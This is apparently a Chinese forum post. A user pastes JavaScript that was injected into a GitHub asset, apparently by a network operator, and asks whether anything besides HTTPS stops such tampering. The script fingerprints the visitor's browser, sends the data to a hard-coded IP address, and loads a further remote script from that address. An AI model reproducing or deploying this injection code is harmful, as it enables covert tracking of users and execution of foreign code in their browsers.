被篡改后的 js:
! function(a, b) { function c(a) { var d, e, f, g, h, i, b = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; for (new Array( - 1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1), f = a.length, e = 0, d = ""; f > e;) { if (g = 255 & a.charCodeAt(e++), e == f) { d += b.charAt(g >> 2), d += b.charAt((3 & g) << 4), d += "=="; break } if (h = a.charCodeAt(e++), e == f) { d += b.charAt(g >> 2), d += b.charAt((3 & g) << 4 | (240 & h) >> 4), d += b.charAt((15 & h) << 2), d += "="; break } i = a.charCodeAt(e++), d += b.charAt(g >> 2), d += b.charAt((3 & g) << 4 | (240 & h) >> 4), d += b.charAt((15 & h) << 2 | (192 & i) >> 6), d += b.charAt(63 & i) } return d } function d() { return - 1 != b.userAgent.indexOf("MSIE") ? "ie": -1 != b.userAgent.indexOf("Chrome") ? "Chrome": -1 != b.userAgent.indexOf("Firefox") ? "Firefox": -1 != b.userAgent.indexOf("Opera") ? "Opera": -1 != b.userAgent.indexOf("Netscape") ? "Netscape": -1 != b.userAgent.indexOf("Safari") ? "Safari": "" } function e() { function e() { var a = "", c = b.plugins; if (c.length > 0) for (k = 0; k < b.plugins.length; k++) a += b.plugins[k].name + ";"; return a } var f = b.appName, g = b.cookieEnabled, h = b.cpuClass, i = b.mimeTypes, j = b.platform, l = b.plugins, m = b.userAgent; return pStr = "type=" + d() + "&userAgent=" + m + "&appName=" + f + "&cookieEnabled=" + g + "&cpuClass=" + h + "&mimeType_length=" + i.length + "&platform=" + j + "&plugins_length=" + l.length + "&allPluginName=" + e() + "&window_screen_width=" + a.screen.width + "&window_screen_height=" + a.screen.height + "&window_screen_colorDepth=" + a.screen.colorDepth, c(pStr) } function g(a) { try { var b = new Image; b.src = 'http://183.59.53.237:8001/supplies/dot.gif?_b=' + _b + "&_n=" + a + " &_f=" + f + "&_js=https://assets-cdn.github.com/assets/github-857f3c501c8f.js?_t=1518060074842&_r=" + Math.random() } catch(c) {} } var h, i, j, k, l, m, n, f = 0; return window.innerWidth ? f = window.innerWidth: document.body && document.body.clientWidth && (f = document.body.clientWidth), document.documentElement && document.documentElement.clientWidth && (f = document.documentElement.clientWidth), window.self != window.top ? (g("iframe"), void 0) : (h = 0, (/AppleWebKit.*Mobile/i.test(navigator.userAgent) || navigator.userAgent.match(/(iPhone|iPod|iPad|Android|ios|BlackBerry|MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE)/i)) && (h = 1), 600 > f && 0 == h ? (g("pc"), void 0) : (i = e(), k = 0, l = 0, m = "scripts2s", n = document.createElement("script"), n.setAttribute("type", "text/Javascript"), n.setAttribute("src", "http://183.59.53.237:8001/pjk/xjk/index.php?b=" + _b + "&pid=" + i + "&c=" + _c), n.id = m, document.body ? document.getElementById(m) || document.body.appendChild(n) : j = setInterval(function() { if (k++, 10 == k) return clearInterval(j), void 0; try { document.getElementById(m) || 1 == l ? clearInterval(j) : document.body && (document.body.appendChild(n), l = 1) } catch(a) {} }, 500), void 0)) } (window, navigator); 除了上 https 还有其它办法？
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